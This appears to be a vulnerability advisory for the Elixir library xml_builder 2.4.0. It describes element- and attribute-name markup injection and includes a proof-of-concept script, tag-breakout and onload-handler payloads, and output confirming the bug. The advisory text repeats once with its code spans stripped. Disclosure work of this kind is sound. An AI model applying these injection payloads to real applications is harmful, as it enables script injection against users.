Summary
xml_builder 2.4.0 emits element names, attribute names and doctype identifiers verbatim into its output. Any caller that lets attacker-influenced data flow into a "name" position (e.g. building elements from a JSON object's keys, an HTTP form field, etc.) lets the attacker break out of <tag attr="…"> and inject arbitrary markup — extra elements, comments, event-handler attributes — into a document the library is contracted to produce well-formed.
Introduced in commit #2 in 2014: 9fb4913
Details
Every format({name, attrs, content}, level) clause in lib/xml_builder.ex builds output by interpolating to_string(name) directly between <, >, and whitespace, and format_attributes/1 does the same for attribute keys between and ="…". Nothing checks that the resulting string is a legal XML Name (no <, >, ", ', &, whitespace, etc.) and nothing escapes structural characters. The doctype path has the same shape: system_identifier and public_identifier are spliced between " quotes without rejecting embedded " (or > for system identifiers).
Concretely, a name like
x><!-- … --><inject evil="yes"
is emitted as <x><!-- … --><inject evil="yes">…</x><!-- … --><inject evil="yes">, and an attribute key like safe="ok" onload="alert(1)" lands inside the start tag as an additional, attacker-controlled attribute. xml_builder is the component charged with producing well-formed XML, so accepting names without validating or escaping is a sink defect rather than something each caller is expected to defend against.
PoC
The attached script element_and_attribute_names_injected_verbatim_into_markup_179.exs encodes the realistic threat model: an application uses the library's documented public API (XmlBuilder.element/3 + XmlBuilder.generate/1) to serialize data whose field names come from outside (a JSON key, an HTTP form field name, etc.). No special privileges or configuration are required — the attacker only needs to influence the "name" string passed into element/3.
The script calls
XmlBuilder.element(malicious_tag, %{malicious_attr_name => "v"}, "inner")
where malicious_tag contains >, <, !--, and a fresh <inject evil="yes" start tag, and malicious_attr_name contains " followed by an onload="…" attribute. Because format/2 and format_attributes/1 simply concatenate these strings into the markup, the output contains a comment node and a new inject element that the caller never asked for, plus an attacker-controlled onload= attribute on the outer element. The script prints the generated XML and asserts three predicates against it — joke_in_output?, broke_out_of_tag? (presence of the injected <!-- ATTACKER-INJECTED-COMMENT node) and broke_out_of_attrs? (presence of onload="alert). When all three hold, it prints a VERIFIED: line, which is the signal that the bug reproduces against xml_builder 2.4.0 from Hex. The full script is attached below under "Scripts and Logs".
Impact
Markup-injection / output-integrity bug in a library whose sole job is producing well-formed XML. Any application that uses xml_builder to serialize data containing attacker-influenced keys is affected: the attacker can inject arbitrary elements, comments, and attributes into the generated document, corrupting it for downstream XML consumers and — when the output is rendered as HTML/SVG or otherwise interpreted in a browser — opening the door to script/handler injection. The only precondition is that some "name" argument (element name, attribute key, or doctype identifier) can be influenced by untrusted input; no authentication or special configuration is required.
Scripts and Logs
# Verifies: Element and attribute names injected verbatim into markup
#
# Run: elixir element_and_attribute_names_injected_verbatim_into_markup_179.exs
#
# Threat model: an application uses xml_builder to generate XML from data
# whose keys are influenced by an outside attacker (e.g. building elements
# from a JSON object's field names, an HTTP form field name, etc.). The
# attacker controls the element/attribute "name" string passed through
# the library's documented public API (XmlBuilder.element/3 +
# XmlBuilder.generate/1). xml_builder is the component responsible for
# producing well-formed XML; if it concatenates a hostile "name" verbatim
# between `<`, `>`, `"`, ` ` without validating against the XML Name
# production or escaping structural characters, the attacker can break
# out of the tag and inject arbitrary markup into the output document.
Mix.install([{:xml_builder, "2.4.0"}])
joke = "I used to hate facial hair, but then it grew on me."
# Attacker-controlled "name" arriving through the library's public entry
# point. In a real app this would be e.g. a JSON key the attacker picked.
malicious_tag =
~s(x><!-- ATTACKER-INJECTED-COMMENT: ) <> joke <> ~s( --><inject) <>
~s( evil="yes")
# Also exercise the attribute-name sink: a hostile key in the attrs map
# breaks out of the attribute list and lets the attacker stitch in
# additional attributes / handlers.
malicious_attr_name = ~s(safe="ok" onload="alert/* ) <> joke <> ~s( */)
doc =
XmlBuilder.element(
malicious_tag,
%{malicious_attr_name => "v"},
"inner"
)
output = XmlBuilder.generate(doc)
IO.puts("---- generated XML ----")
IO.puts(output)
IO.puts("---- end ----")
joke_in_output? = String.contains?(output, joke)
broke_out_of_tag? = String.contains?(output, "<!-- ATTACKER-INJECTED-COMMENT")
broke_out_of_attrs? = String.contains?(output, ~s(onload="alert))
IO.puts("joke present verbatim in output? #{joke_in_output?}")
IO.puts("attacker injected new comment node? #{broke_out_of_tag?}")
IO.puts("attacker injected onload= attribute? #{broke_out_of_attrs?}")
if joke_in_output? and broke_out_of_tag? and broke_out_of_attrs? do
IO.puts(
"VERIFIED: xml_builder 2.4.0 emits element and attribute names verbatim; " <>
"attacker-controlled name broke out of `<tag attr=\"...\">` and injected " <>
"arbitrary markup (comment + onload= attribute) including the joke payload."
)
else
IO.puts("NOT VERIFIED: injection did not produce attacker-controlled markup in output")
end
Logs
---- generated XML ----
<x><!-- ATTACKER-INJECTED-COMMENT: I used to hate facial hair, but then it grew on me. --><inject evil="yes" safe="ok" onload="alert/* I used to hate facial hair, but then it grew on me. */="v">inner</x><!-- ATTACKER-INJECTED-COMMENT: I used to hate facial hair, but then it grew on me. --><inject evil="yes">
---- end ----
joke present verbatim in output? true
attacker injected new comment node? true
attacker injected onload= attribute? true
VERIFIED: xml_builder 2.4.0 emits element and attribute names verbatim; attacker-controlled name broke out of `<tag attr="...">` and injected arbitrary markup (comment + onload= attribute) including the joke payload.
Summary
xml_builder2.4.0 emits element names, attribute names and doctype identifiers verbatim into its output. Any caller that lets attacker-influenced data flow into a "name" position (e.g. building elements from a JSON object's keys, an HTTP form field, etc.) lets the attacker break out of<tag attr="…">and inject arbitrary markup — extra elements, comments, event-handler attributes — into a document the library is contracted to produce well-formed.Introduced in commit #2 in 2014: 9fb4913
Details
Every
format({name, attrs, content}, level)clause inlib/xml_builder.exbuilds output by interpolatingto_string(name)directly between<,>, and whitespace, andformat_attributes/1does the same for attribute keys betweenand="…". Nothing checks that the resulting string is a legal XMLName(no<,>,",',&, whitespace, etc.) and nothing escapes structural characters. The doctype path has the same shape:system_identifierandpublic_identifierare spliced between"quotes without rejecting embedded"(or>for system identifiers).Concretely, a name like
is emitted as
<x><!-- … --><inject evil="yes">…</x><!-- … --><inject evil="yes">, and an attribute key likesafe="ok" onload="alert(1)"lands inside the start tag as an additional, attacker-controlled attribute.xml_builderis the component charged with producing well-formed XML, so accepting names without validating or escaping is a sink defect rather than something each caller is expected to defend against.PoC
The attached script
element_and_attribute_names_injected_verbatim_into_markup_179.exsencodes the realistic threat model: an application uses the library's documented public API (XmlBuilder.element/3+XmlBuilder.generate/1) to serialize data whose field names come from outside (a JSON key, an HTTP form field name, etc.). No special privileges or configuration are required — the attacker only needs to influence the "name" string passed intoelement/3.The script calls
where
malicious_tagcontains>,<,!--, and a fresh<inject evil="yes"start tag, andmalicious_attr_namecontains"followed by anonload="…"attribute. Becauseformat/2andformat_attributes/1simply concatenate these strings into the markup, the output contains a comment node and a newinjectelement that the caller never asked for, plus an attacker-controlledonload=attribute on the outer element. The script prints the generated XML and asserts three predicates against it —joke_in_output?,broke_out_of_tag?(presence of the injected<!-- ATTACKER-INJECTED-COMMENTnode) andbroke_out_of_attrs?(presence ofonload="alert). When all three hold, it prints aVERIFIED:line, which is the signal that the bug reproduces againstxml_builder2.4.0 from Hex. The full script is attached below under "Scripts and Logs".Impact
Markup-injection / output-integrity bug in a library whose sole job is producing well-formed XML. Any application that uses
xml_builderto serialize data containing attacker-influenced keys is affected: the attacker can inject arbitrary elements, comments, and attributes into the generated document, corrupting it for downstream XML consumers and — when the output is rendered as HTML/SVG or otherwise interpreted in a browser — opening the door to script/handler injection. The only precondition is that some "name" argument (element name, attribute key, or doctype identifier) can be influenced by untrusted input; no authentication or special configuration is required.Scripts and Logs
Logs